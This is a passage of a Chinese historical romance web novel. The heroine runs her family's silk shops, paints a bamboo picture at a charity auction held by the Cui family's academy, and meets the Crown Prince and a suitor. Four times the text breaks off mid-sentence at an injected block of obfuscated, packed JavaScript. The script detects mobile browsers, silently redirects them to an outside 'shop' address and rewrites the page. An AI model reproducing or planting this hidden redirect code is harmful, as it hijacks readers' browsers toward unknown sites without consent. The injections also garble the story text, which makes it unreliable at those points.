沈知节的动作远比她预料的更快、更利落。云锦轩里那些盘根错节的旧人，被他以雷霆手段清了个干净。新请回来的掌柜姓钱，是当年母亲苏璟岚用惯了的老人，只因多年前一桩小差错，便被排挤发落到京郊庄子上。沈知节亲自去接的人，马车进庄时，钱掌柜正蹲在田埂边看着麦苗，听了来意，怔了半晌，浑浊的老眼里倏地滚下泪来。 姚知韫得知后，择了个晴日下午，亲自去了一趟云锦轩。 铺子已重新洒扫过，透着久违的敞亮。钱掌柜见东家姑娘亲至，慌得便要行大礼，被她温言扶住。 “钱叔受苦了。”她声音不高，却清晰入耳，“这些年，是我软弱，对不住您。”说罢，示意芙蓉捧上一个朱漆小匣，里头是补偿这些年的薪俸，并外加三成，以作安家之资。 钱掌柜捧着匣子，手抖得厉害，话也说不周全，只反复道：“老奴……老奴必定尽心，对得起夫人，对得起姑娘……” 姚知韫只是浅浅笑了笑，目光扫过焕然一新的柜台与货架，铺子已然焕然一新。 沈知节依此例，又陆续寻回几位因各种缘故离开的老掌柜。这些人多半技艺在身，熟知行情，对旧主存着念想，更对如今这位沉稳练达、出手果决的沈先生心存敬畏。请回来，略加安抚，给足体面与实利，便都肯回来重新坐镇。 如此一来，京中几家关键铺面的局面，竟以意想不到的速度稳住了阵脚。流水重新活络，人心也逐渐归拢。那些原本观望、甚至暗中使绊的视线，见她并非任人拿捏，手段亦有章法，倒暂且收敛了几分。 姚知韫回到府中，望着‘归云楼’方向新挂起的匾额，心下稍安。 规矩立了，人用对了，棋局才算真正摆开。接下来，便是步步为营了。 只是不知为何，方才那无缘无故的喷嚏之后，心口某处，忽然没来由地轻轻跳了一下。 他——何时能回来？ “姑娘，”芙蓉悄步上前，声音放得轻缓，“时辰差不多了，该动身去明德书院了。” 今日是崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197354|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家做东的雅集，帖子几日前便送到了姚府。姚知韫原想推了，可转念一想，往后三年既与霍抉绑在了一处，这京中的人情脉络、暗流风向，总不能再像从前那样全然隔绝在外。更何况，是崔家的邀约。 “好，”姚知韫搁下手中的笔，墨迹未干的账册被轻轻合拢。起身时，裙裾拂过椅面，未起半点涟漪。 常嬷嬷早已将出行的衣衫配饰备得齐齐整整，从里到外，从颜色到款式，乃至一枚压襟的玉坠、一条束发的丝绦，都妥帖地安置在紫檀木的托盘里，静候取用。姚知韫瞧着，心下不由微动——宫中出来的老人，眼力手段自然不凡，可细致周到如常嬷嬷这般，想必当年侍奉的，也绝非寻常主子。 更衣时，暖阁里炭火融融，只闻衣料窸窣。 “嬷嬷从前，”姚知韫由着她替自己整理领缘，语气随意得像闲聊，“是在哪个宫里伺候的？” 常嬷嬷正为她系带的手指几不可察地顿了一下，随即又流畅地打了个结。她抬起眼，脸上是惯常的恭谨浅笑：“回姑娘，老奴早年是在……春熙殿当差。” 春熙殿？ 姚知韫只是疑惑了一下，并未想深究，她并不知道春熙殿住着哪位主子。 常嬷嬷只是垂了头，声音平缓地继续说道，“宫里循例将人都遣散了。我家里早就没了人，无处可去，便在京郊赁了间小屋住下。一个孤老婆子，无依无靠的，少不得受些地痞闲汉的欺辱……”她说到这儿，语气依旧淡淡的，像在说别人的事，“幸得霍将军偶然知晓，伸了把手，老奴才苟活到今日，还能在姑娘跟前伺候。” 熙嫔？姚知韫隐约有些印象，好像也是七年前，那会父亲还没出事，母亲也还活着，熙嫔殁了，举国上下婚丧嫁娶停了一月，母亲也说这不符礼制，可见皇上对她是如何宠爱的。 怪不得。 她说得轻描淡写，姚知韫却听得出这几句话里，藏着多少颠沛与辛酸。宫中旧人，出宫后的日子多半艰难。常嬷嬷能如此平静道来，要么是心性豁达已极，要么是……将更深的过往，妥帖地埋在了心底。 姚知韫没有追问，只轻声应了一句：“嬷嬷，辛苦了。” “姑娘和将军都是善心人。”常嬷嬷替她抚平衣袖最后一处褶皱，抬起头，目光温煦而真切，“能遇上二位，是老奴修来的福分。” 姚知韫听得出，这话里没有半分虚饰。 言语间，衣衫已层层穿妥。最里是细软的棉布里衣，中间是轻暖的丝绵小袄，外罩一件鹅黄色织暗云纹的竖领长袄，那颜色鲜嫩明亮，衬得她如玉的脸庞也添了几分暖意。下身是一条玉色马面裙，裙摆处用银线绣了疏落的芍药暗纹，行动间微光流转，雅致却不张扬。青丝松松绾了个髻，只用一根羊脂白玉簪固定，再无多余饰物。 临出门前，常嬷嬷为她披上一件雪青色缎面出锋斗篷，风毛是色泽润泽的银鼠皮，蓬松柔软地拥着她的下颌。 镜中人，淡雅如初春新柳，通身的舒适得体，却无一处不透着精心打理过的、内敛的贵气。 “走吧。”姚知韫最后看了一眼镜中的自己，转身，步履平稳地向外走去。 明德书院，崔家，京城的暗流……她既已决定踏入，便当从容以赴。 32. 清慈院 霍抉安排的车夫很是妥帖，马车驾得又快又稳。 辘辘声响在略显空旷的街巷中回荡。姚知韫靠着车内软垫，指尖无意识地拂过斗篷边缘细腻的银鼠风毛。车窗外，街景由市井渐次转为清幽，高墙深院次第掠过，直至望见一片掩映在古松翠柏间的青瓦粉墙，门额上“明德书院”四个古朴大字已然在望。 书院门前早已车马簇簇，各色华盖轿舆排开，仆役如云，低声寒暄与环佩叮当之声隐约可闻。姚知韫的马车在霍家赤底金纹的标记引导下，并未在外围过多停留，便由一名早早候着的、管事模样的人引着，从一侧稍显清静的角门驶入。 “姚姑娘，请随我来。”一位身着书院青衣、举止稳重的仆妇上前，恭敬引路。芙蓉紧跟姚知韫身侧，目光沉静地打量着周遭。 穿过几重月洞门，眼前豁然开朗。这是一处临水的敞轩，三面轩窗大开，虽值冬日，却因地龙烧得暖融，又垂着厚厚的锦帘挡风，室内温暖如春。轩外是一池寒水，残荷凋尽，反而更显池面开阔，对岸叠石成山，古木苍劲，景致疏朗大气。 轩内已到了不少宾客，男女分席而坐，中间以一道绘着山水的高大屏风略作区隔，既合礼数，又不完全阻断声气。女宾这边，衣香鬓影，笑语低回，多是京中高门闺秀。姚知韫一进来，便觉数道目光似有若无地落在了自己身上——好奇的、审视的、估量的、乃至隐含嫉妒的。 她恍若未觉，只依着引路仆妇的指引，在分配给自己的席位上安然落座。位置不算最显眼，却也绝不偏僻，恰在中段，视野良好。 刚落座，便有一位身着樱草色缠枝纹襦裙的少女袅娜走近，正是英国公府的宋玉。她脸上挂着恰到好处的笑意，眼神却带着几分掩饰不住的复杂：“姚姑娘，许久不见。前次赏菊宴匆匆，未及深谈，今日可算又碰上了。” “宋姑娘。”姚知韫微微颔首，语气疏淡有礼。 宋玉在她身旁的空位顺势坐下，仿佛熟稔，声音压低了些，带着点亲昵，“听闻圣上赐婚，真是可喜可贺，恭喜姚姑娘了。” 姚知韫端起面前温热的茶盏，浅浅抿了一口，才抬眸看向宋玉，唇边是一贯的淡笑，“多谢！” 宋玉碰了个软钉子，笑容微僵，正欲再说什么，忽听屏风那头传来一阵清朗的笑语，随即是几位年轻公子联袂而至，向这边遥遥行礼。为首一人，宝蓝斗篷，身姿挺拔，面如冠玉。他目光温煦地扫过女宾席，在掠过姚知韫时，似乎微微停顿了一瞬，笑意更深了些。“是她？” 孙颖顺着姚知韫的目光，以为她看到崔景衡，便殷勤地介绍，“那位便是崔家嫡长孙崔景疏，虽只有十六岁，却已经是举人了，就等着明年科考，” 姚知韫的目光却落在了崔景衡身后的苏文珩身上，他怎么来了？一个江南才子，一个京城贵公子，这两人应是没什么交集的，难道苏文珩是别人要请的？可她看着崔景衡和苏文珩的互动，像是熟识之人，难道苏家与崔家有什么渊源？ “文珩哥哥竟然也来了。”说话的是一个看上去灵动的女子。 孙颖瞥了一眼，看上去颇为不屑地介绍，“那是崔家三房的嫡次女崔令瑄，” 姚知韫暗自想着，原来崔家和苏家真的早就相识，一个是文坛世家，一个是商贾，他们之间是如何有关联的？ 客人陆陆续续到场，明德书院的山长崔维瑾亦现身，他年约三旬有余，面容清癯，三缕长须，一身儒雅常服，举止间却自有久居上位的从容气度。他先向众宾客致意，而后朗声宣布今日雅集之题——“岁寒三友”，请诸位俊才佳丽或赋诗、或作画、或抚琴，各展才思。 雅集的气氛顿时活跃起来。笔墨纸砚、琴案画具早已备齐。公子们多在屏风那头挥毫泼墨，间或传来吟哦之声。女宾这边，亦有不少人提笔作画，或低声品评。 姚知韫没有动。她只是静静坐着，目光偶尔掠过窗外萧疏的冬景，似乎沉浸在远处的山水之间。芙蓉安静地立在身后，眼角余光却始终留意着自家姑娘周遭。 然而，她想清静，却有人不愿她清静。 不多时，一位身着海棠红织金襦裙、发髻高绾、插着赤金点翠步摇的明艳少女，在几位闺秀的簇拥下，径直走到了姚知韫席前。 “早闻姚姑娘才名，赏菊宴上一诗惊人，”她开了口，声音清脆，带着一种天生的矜傲，“今日雅集，姚姑娘却独坐观景，可是已胸有成竹？何不让我们也开开眼界？” 姚知韫眉心微蹙，这位是谁？眼神中的敌意因何而来？ 还未等她开口，便有人接上了话，“于姑娘性子还是那么直率。” 后面说话的这位姑娘她认识，昌平伯府的嫡女，孙颖。她下巴微扬，目光落在姚知韫那身鹅黄玉色的搭配上，闪过一丝不易察觉的赞赏，对着姚知韫微微颔首，便在她旁边的位置上坐了下来。 孙颖身子微微前倾，压低了嗓音，“八陉守将于将军的女儿，于婉茵。” 姚知韫感激地露出一抹笑，这位孙姑娘已经是第二次向她伸出援手了，她自然是要领情的。 “于姐姐这话说的，”一个略显娇柔的声音插了进来，竟是冯嘉。她今日打扮得格外素净，站在孙颖侧后方，脸上带着恰到好处的讨好笑意，“韫妹妹性子喜静，不似我等爱凑热闹。更何况，今日雅集重在风雅交流，何必强人所难呢？” 这话看似解围，却坐实了姚知韫“怯场”、“才疏”的嫌疑，更将“强人所难”的帽子扣给了孙颖，挑拨之意，隐晦而刻毒。 姚知韫心中冷笑。冯嘉自英国公府那桩丑事后沉寂了一段时日，如今看来，事情应是解决了，不然也不会和宋玉一起到这里来。 “都是姐妹，难得大家能聚在一起，还是都落座吧！”一个温温柔柔的声音响起，颇有主人家的风范 “这位是户部尚书崔大人家的嫡女崔令仪，也是未来的二皇子妃。”孙颖说着，言语间颇有些看不上。 轩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204574|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内暖融如春，熏香袅袅，暗流却悄然涌动。 只是姚知韫打定主意，今日就是来观景的，观这京城名利场的景，观人心向背的景，至于那些或明或暗递过来的话头、较量、乃至陷阱，她打定了主意，一概不接。 反倒是一旁的孙颖，她性子率直，见姚知韫无意应战，便索性挨近了些，聊起了今日窗外那池寒水与叠石的意境，知道姚知韫喜欢花，又说起自家暖房里精心培育、反季而开的几株绿萼梅。 这一聊，姚知韫倒有些意外地发现，这位昌平伯府的嫡小姐，看似矜傲难近，实则言辞爽利，颇有见地，于园林花木一道更是如数家珍，说到兴起处，眉眼神采飞扬，自有一股豁达明亮的气度。虽难免有些世家娇女的脾性，却并不惹人厌烦，反倒显得真实有趣。 一时间，姚知韫唇边那惯常的淡笑，也真切柔和了几分。两人低声细语，竟自成一片小天地，将周遭那些窥探的目光与窃窃私语都隔了开去。 孙颖见姚知韫喜欢花草，便提出将家里的绿萼梅送她一株，姚知韫本欲拒绝，但看孙颖目光灼灼，便应下了，还说要将自己精心培养了很久的山茶花送给她做回礼。 众人见两人聊得甚是投机，一时也插不上话，那些想看戏的人便也悻悻的转了心思。 于婉茵与崔令仪立在几步开外，将这一幕看在眼里。她们本是存了心思想要引姚知韫入局，或试探，或落其面子，却不料对方全然不按常理出牌，竟与最难打交道的孙颖聊到了一处，反倒将她们晾在了一边。 她们眼见着精心准备的机锋无处可施，如同重拳打进了棉花里。两人对视一眼，都从对方眸中看到了一丝隐隐的不快。崔令仪几不可察地蹙了蹙精心描画的远山眉，终究维持着大家风范，唇角含着得体的浅笑，轻轻一拉于婉茵的袖角，转身回了自己的席位。 屏风那头，男宾席上，崔景衡的声音朗然响起，带着世家子弟特有的、不容置疑的提议口吻： “今日雅集，诸位佳作纷呈，若只限此间品评，不免可惜。不若添些雅趣——将席间所有诗画作品，皆标价竞拍，价高者得。所得银钱，悉数捐与‘清慈院’，也算我等为苍生略尽绵力，不负这岁寒雅意。” “清慈院”三字一出，席间便响起一片低低的附和与赞叹。 那地方在场众人多有所闻，是附在永安寺后堂的一处善所，专为收容无依的孤儿弃婴。坊间皆知，这院子全赖一位化名“清辞”的善人捐建供养，银钱衣物，从未短缺。只是这位“清辞”先生——或夫人——极为神秘，数年来无人得见真容，成了京中一桩颇富善心的谜案。 如今崔景衡当众提议将善款捐往此处，既显仁心，又合风雅，更暗合了世家乐善好施、引导风尚的姿态。一时间，无论真心假意，应和之声四起。 姚知韫执盏的手几不可察地顿了顿。 清慈院……清辞。 这名字与她心底某个沉埋的角落，似是而非地轻轻一撞。 33. 石竹图 她忍不住抬眼，隔着那道绘着云山烟霭的屏风，望向声音的来处。屏风滤去了具体形貌，只勾勒出一道挺拔轩昂的侧影轮廓，正与人从容交谈。 她正若有所思转过头，却瞥见身侧的孙颖，目光竟也牢牢锁在那道身影之上。 此刻孙颖的眼中，翻涌着一种极为复杂难言的情绪——有仰慕，有追随，有一闪而过的光亮，但最终，那光亮渐渐沉淀下去，化作一片克制的、带着淡淡涩然的平静。 她很快垂下了眼睫，仿佛只是不经意的一瞥，唯有微微绷紧的指尖，泄露了心底并未平复的波澜。 姚知韫收回目光，心下恍然。 原来，率性如昌平伯府的孙大小姐，心底也藏着一轮不敢言明的月亮。而那道屏风，隔开的不仅是男女之席，或许还有更多无法逾越的鸿沟。 姚知韫不着痕迹地叹了口气，心底掠过一丝极淡的唏嘘，旋即又沉静下来。这世间的身不由己，又何止孙颖一人？ 屏风那头已逐渐热烈起来，崔景衡的一副《雪竹图》笔力遒劲，意境轻寒，率先被捧至高价，随后几位公子的诗作，画作也陆续有人应价，气氛被炒得热络，仿佛真是一场纯粹的风雅盛事。 姚知韫的目光再次落回面前空白的宣纸上。 她本无意参与，但一听到清慈院便有些犹豫了，“清慈院”是她七年前以母亲的名义捐献的，之所以叫清慈是因为她原先的名字叫做清辞，既然是给那些孤儿的，她想总是该出一份力的。 更何况，崔景衡方才特意言明：为护女眷清誉，今日所有出自闺阁之手的作品，无论诗词画作，事后皆由明德书院统一珍藏，绝不外流。此言既出，便解了最大的后顾之忧——笔墨不至于流入市井，成为他人品头论足甚至构陷的把柄。 若是还不放心，她也想最后出钱买下画作，心下最后一层薄冰悄然消融。 她不再犹豫。抬手，润笔，凝神。 笔尖触及纸面，并未作繁复勾勒，而是以淡墨起势，寥寥数笔，先定下嶙峋怪石的根基。随后换笔，蘸取稍浓的墨，腕底运力，笔走中锋，一节、两节……瘦劲的竹竿破石而出，挺拔向上。竹枝则用笔稍快，带出自然的弧度与顿挫，疏密有致。竹叶最见功夫，她用侧锋迅捷点染，或聚或散，浓淡相宜，仿佛能听见风过叶梢的飒飒清响。 不多时，一幅《石竹图》便跃然纸上。竹倚石而生，石因竹而活，一股孤高清韧、于寒岁中犹自挺立的气节，透纸而出。 画成，她并未搁笔。略一沉吟，于画卷右上留白处，以清隽行楷，题下一阕词： “莫听穿林打叶声，何妨吟啸且徐行。竹杖芒鞋轻胜马，谁怕？一蓑烟雨任平生。” 她轻轻吹干墨迹，将笔搁回笔架，并未署名。 最后，她安静地坐回原位。 有仆役将那副《石竹图》小心捧起，绕过屏风，送至前厅，以供竞价。 画作与题词刚一亮相，原本嘈杂的席间，倏然静了一瞬。 众人的目光先是被那竹子吸引——不是常见的柔美丛竹，而是瘦劲孤直、破石而出的寥寥数竿。笔法简洁却力透纸背，墨色浓淡极具分寸，尤其是竹叶的撇捺，带着一股罕见的飒爽与韧劲，全然不似寻常闺阁笔墨的纤巧柔媚。 待目光移至题词，看清那句“一蓑烟雨任平生”的句子，许多人的神情都变得微妙起来。 崔景衡原本温和含笑的目光，在在触及画作时微微凝住。他仔细看了竹石的笔意，又默读了一遍题词，眼底掠过一丝讶异与深沉的欣赏。这画这词，气度不凡，果然是她，他的眼神倏然亮了起来。 画作是要收藏在明德书院的，自然也请来了品评的老先生，见此画此词，皆是眼前一亮，捻须不语，细细端详良久，他们见多了闺阁笔墨，大多带着脂粉气、匠气，如此有个人风骨与精神气韵的作品，实属罕见。 只有姚知韫本人，依旧安静地坐在原位，仿佛周遭那些压抑的复杂的目光，都与她无关，她只是完成了自己想做的事情。 最后，那副《石竹图》竟然拍出了一千八百两银子，被崔维瑾拍下，只是对于没有署名有些遗憾。 孙颖是个爽利性子，见席间气氛微妙，便拉了姚知韫起身，笑道：“里头闷气，我领你去瞧瞧这书院后头的梅园，虽未到盛时，也有几株早发的可看。” 姚知韫知她是好意，便含笑应了，两人带着贴身丫鬟，悄然离席。 明德书院亭台楼阁错落，曲径通幽。孙颖兴致颇高，一路指点景致。行至一处月洞门拐角，不料与一个低头疾行的捧茶丫鬟撞了个正着。 “哗啦”一声，茶盘倾覆，温热的茶水大半泼在了孙颖那身樱草色的裙裾上，顿时晕开一片深渍。 孙颖蹙了眉，看着狼狈的衣裙，颇觉扫兴。那丫鬟所在院落的管事嬷嬷闻声赶来，又是赔罪，又是恳请，她无奈，只能跟着下去更换衣衫。 这里便只剩下姚知韫和芙蓉两人。 突然有位丫鬟上前来，她终于缓缓转过了身。低垂的脸上没什么表情，只一双眼睛，黑沉沉的，毫无波澜地看向姚知韫。 “姚姑娘，”她的声音干涩平板，“请随奴婢来，有人……想见您。” 她抬眸，冷冷地盯住前方那纹丝不动的青色背影，眸中惯有的淡色尽褪，凝起一片冰封的锐利。 是谁？ 崔家？于家？还是那位心思难测的二皇子？抑或是……京中其他将她视为猎物或障碍的势力？ 他们将她引到这无人之处，是想制造“意外”？是想“私下谈话”威逼利诱？还是想布下更不堪的陷阱，彻底毁了她与霍抉的婚约，乃至她的性命？ 电光石火间，无数念头掠过脑海。她下意识地攥紧了袖中的手。 不能慌。 她深吸一口凛冽的空气，强迫自己冷静下来。目光迅速扫视四周环境——最后目光落在身后不远处的芙蓉身上。 “姚姑娘，请放心，”那丫鬟的声音再次响起，干涩的语调里强行挤出一丝安抚，却因刻板而更显诡异，“我家主人绝无加害之意。孙姑娘……亦会安然无恙。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210314|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这话听在姚知韫耳中，非但不能令人安心，反倒平添了几分冰冷的威胁——仿佛在暗示，孙颖的“安然无恙”，竟成了要挟她顺从的筹码。 “既然并无恶意，”姚知韫垂下眼帘，声音听不出丝毫慌乱，只有一片沉静的冷意，“又何必如此藏头露尾，行这般鬼祟伎俩？孙姑娘与我，不过今日一面之缘。阁下何以断定，我会为了一个萍水相逢之人，便懵懂踏入这不明不白的险地？” 她语调平缓，字字清晰，没有丝毫退让，反而将对方利用孙颖作质的用心，轻描淡写地揭破，并直指其逻辑的荒谬。 那青衣丫鬟显然没料到她会如此冷静且尖锐地反问，准备好的说辞被堵在喉间，脸上那刻意维持的平板表情出现了一丝裂痕，显露出底下的焦急。她大约是得了死命令，必须将人带到。见言语无效，竟下意识地向前踏了一步，似乎想用强。 就在她抬步欲动的瞬间—— 一道黑影如鬼魅般自她身后的竹丛中悄无声息地掠出，快得只余残影。 一声极短促的闷哼。那丫鬟甚至来不及回头，后颈便遭一记精准而利落的手刀重击。她眼中惊愕尚未散去，人已软软地瘫倒在地，失去了意识。 一切发生在眨眼之间。 姚知韫瞳孔微缩，目光越过倒地的丫鬟，落在那突然出现的人身上。 竹影晃动间，一位身披深紫色织金斗篷的男子缓步走出。斗篷厚重，边缘绣着繁复的云纹，虽大半身形掩于其下，但那偶尔随动作露出一角的明黄锦缎里衬，却让姚知韫心头骤然一凛！ 姚知韫脚步一顿，侧身回望。 只见明黄色……乃是御用之色。 此人身份，呼之欲出。 太子，赵鹤羽。 “姚姑娘，果然机敏过人。”太子的声音，不疾不徐，却带着不容错辨的雍容气度。 她心中念头飞转，崔家的明德书院，太子为何会在此处？若是受邀，方才雅集正盛时为何不见踪影？看他这般隐秘行藏，斗篷遮掩，显然不欲为人所知。这是……私下前来。 无数疑问与警惕瞬间涌上，又被她强行压下。姚知韫迅速收敛心神，依礼微微屈膝，垂首道：“见过太子殿下。” 赵鹤羽在她身前数步处停下，并未让她起身。他嘴角噙着一抹似有若无的笑意，那双深邃的眼眸落在她低垂的发顶，仿佛能穿透那层恭顺的表象。待听清她平静无波的称呼后，眼底几不可察地掠过一丝几近于玩味的微光。 “姚姑娘不必多礼。”他的声音依旧平稳，却带着一种居高临下的口吻，“霍将军……已回京，姑娘不如早些回府。” 说话间，他目光似不经意地向她身后的竹林更深处，极快地扫了一眼。那一眼极其隐晦，却让姚知韫背脊陡然生寒。 太子这是在警告她？莫非……这竹林之后，或是她原本要被引去的地方，当真布着什么针对她的陷阱？太子此举，是偶然撞破，还是刻意前来……？ 他提到霍抉，是想借此卖她一个人情？还是另有深意？ 34. 崔家公子 电光石火间，姚知韫心思已百转千回。她维持着屈膝的姿势，并未立刻追问霍抉之事，反而抬眸，目光清正地望向赵鹤羽，语气平淡却执拗地问：“不知孙姑娘……现下如何？” 赵鹤羽似乎对她的反应并不意外，淡淡道：“孙姑娘此刻想必已安然返回宴席，无需姑娘挂心。” 言尽于此，他不再多言，甚至未给姚知韫任何回应或谢恩的机会。话音甫落，便已干脆利落地转身，那袭深紫斗篷在竹影间一旋，顷刻便消失在来时的幽径深处，仿佛从未出现过一般。 只留下姚知韫独自立在原地，周遭是死一般的寂静，唯有方才太子那番含义不明的话语，如同投入深潭的石子，在她心中激起层层疑窦与寒意。 霍抉回京了。 太子私下出现在崔家的书院。 一场看似寻常的迷路，背后或许藏着不止一方的算计。 而太子究竟是善意的提醒，还是另有目的？ 她缓缓直起身，望着太子消失的方向，眸色沉静如古井，深处却已凝起十二分的警惕。 此地，确实不宜再留了。 芙蓉上前和水轩的丫鬟低语两句，只那丫鬟会意颔首，转身朝后堂去了。不多时，先前引她们入内的管事缓步而出，手捧一只锦纹螺钿小盒，恭敬奉上。 姚知韫未作推辞，只略一颔首，芙蓉便上前接过。她随着管事另遣的小丫鬟往后门去，步履沉静，衣裾未起半分涟漪。 将出书院，过两道月洞门，却在回廊转角处，看见了崔景衡。 他正俯身和人低语，侧脸被廊下点起的灯笼镀上了一层柔和的边缘，那光沿着他高挺的鼻梁滑落，在唇角打了个旋，竟让那张温润克制面容，无端生出几分难描的风流意态。 怪不得，孙颖会喜欢他。 似有所感，他忽地抬眼望来。 四目相对，姚知韫突然想到那句‘松烟浸骨韵偏奇，四百年来墨做肌’，只是她始终觉得那目光深处，残留着一缕未及敛尽的、雪夜望星般的寂寥。 他抬步走了过来，衣袂轻拂间带着清浅的松烟墨息，姚知韫隐约觉得他仿佛在此专侯，她欲转身离开，他却已温声开口。 “姚姑娘，请留步。” 嗓音清朗如玉磬轻叩，在暮色笼罩的廊下格外好听。 姚知韫转过身，看向崔景衡，微微屈膝行了礼，后退了两步，之前隔着纱帘，只知他风姿卓然，靠近了再看，他真的长得很好看，面容如江南烟雨润过的玉色宣纸，莹润里沁着月光般的清皎，鼻梁自眉心流畅地滑落，如一道分水岭，隔开两泓深潭似的眼，那眼睛生的极妙，焰尾微挑上扬，本是含情的弧度，却因瞳仁过黑，目光过静，反生出几分泉水般的清冽，眸光流转间，竟似有星子坠落，亮的惊人，也冷得彻底。 他停在她三步之外，廊灯将他的影子拉得清瘦修长，夜风穿过庭院，衣衫上暗绣的云水纹，恍若水光流动。 “我代清慈院的孩子，感谢姑娘妙笔丹青。”他深深一揖，腰身弯成一道温雅的弧。 姚知韫眸光微动，侧身避过半礼，“崔公子言重了，不过一份心意，不值一谢。” “心意最是难得。”他声音温和，却向前踏了半步，极淡的松烟墨香悄然漫开，“尤其是姑娘画中那破石而出的竹，题中那‘一蓑烟雨’的句子……实在不像深闺笔墨，想来姑娘心中自有丘壑。” 他话中有话。姚知韫眼睫微颤，抬起眼帘，正撞进他眸中那片深潭。灯火在他眼底碎成星子，那光亮背后，却沉着某种她读不懂的情绪。 “公子想说什么？” 崔景衡沉默了片刻。夜风卷起他天青色袖摆，银线绣的青竹纹明明灭灭。 “三年前，”他忽然开口，声音压得极低，“我在清慈院，见过一幅裱在旧屏风上的字。” 姚知韫脊背几不可察地一僵。 “笔意疏朗，转折处却藏锋，”他继续道，目光凝在她低垂的眼睫上，“与姑娘今日题画那手行楷……如出一脉。” 夜风掠过，廊下灯笼轻轻晃动。 “他年若得春风顾，亦向人间种绿枝。”崔景衡低低的念着，每个字都像在唇齿间温习过千百遍。 寒意，细细密密的，顺着她的脊骨爬上来。她拢在袖中的手悄然握紧，指尖陷进掌心，留下月牙似的印痕。 “崔公子，”她抬起眼，声音平得像结了冰的湖面，“究竟想说什么？” 崔景衡忽然又向前迈了半步，两人之间只剩下一盏灯笼的距离，他垂下眼，目光落在她微微失了血色的唇上，那总是温润含笑的眉眼，此刻竟褪尽了所有伪装，露出底下近乎灼人的专注。 “我知你不易，若是你不愿——嫁入霍家，我或许有办法。” 这话太过直白，太过僭越，姚知韫倏然抬眼，眸中惊愕如石子投入深潭。 “我知道这话唐突，”他眼底的温润彻底剥落，露出一种破釜沉舟的决绝来，“三年前腊月初八，清慈院东厢廊下，你俯身为一个啼哭的婴孩擦拭脸颊。那时你鬓边簪了一支素银木槿，花蕊里藏着一点雪。” 他顿了顿，喉结轻轻滚动，“从那时起，我便知道，你有慈悲，有风骨，有不为人知的棱角，姚知韫——” 他第一次直呼她的姓名，声音里带着压抑的颤意。 “我不是一时兴起。你若想离开京城这是非之地，去江南，去岭南，甚至出海……我都能安排。崔家百年经营，总有一条路，可以让你干干净净地走。” 他最后三个字说得极重，像誓言，也像哀求。 姚知韫静默了许久。 久到廊外传来更夫模糊的梆子声，她才微微屈膝，行了一个无可挑剔的礼。 “多谢崔公子美意。”她声音依旧平淡，却像淬过冰的玉，清而冷，“只是小女的路，自己会走。” 姚知韫垂下眼帘，唇角几不可察地弯了一下——不是笑，倒像一片雪落在温热的砚台上，瞬间就化了，只余一点潮湿的凉意。 这些世家公子啊…… 他们活在锦绣堆成的云端，看人间疾苦，都是隔窗赏雨——雨是真的，寒意却隔着一层。他们读圣贤书，习君子礼，说出的每句话都漂亮得可以裱进字画里。 可他忘了，他之所以站在这里，受众人追捧仰视，是因为他是崔家公子，是那累世的宦海沉浮，盘根错节的权势，才能让他从容地说出“我能安排”的底气。 他可曾想过，她跟他离开的境遇？从此活在一个男人的羽翼之下？失去自我的姚知韫又是谁？ 他又凭什么以为，只要他伸出这双从未真正沾过泥污的手，她便该感激涕零地握住？凭什么以为，他那些“干净的路”，就比霍抉那条浸着血与火的荆棘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213870|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 途更值得选择？ 崔景衡竟有些遭不住姚知韫的目光。 那里很静，像深井的水面，没有一丝的涟漪，廊灯的光落进去，悄无声息地沉默，映不出半点波澜。 可偏偏，他就是从那片深不见底的静里，辨出了一丝……讥讽。 是的，讥讽。 或许，还有一丝极淡、极冷的悲悯。 “崔公子，” 一道声音自身侧阴影中响起，不高，像凝着霜的刀锋，瞬间割开了浓稠的夜色，也将崔景衡抬起的脚步钉在原地。 霍抉缓步自廊柱后踱出，玄色斗篷几乎与黑暗融为一体，唯有腰间一块墨玉，在灯下掠过一线幽冷的寒芒，他并未看崔景衡，只是目光沉沉的落在姚知韫身上，如鹰隼锁定了归巢的羽翼。 姚知韫蓦然转身。 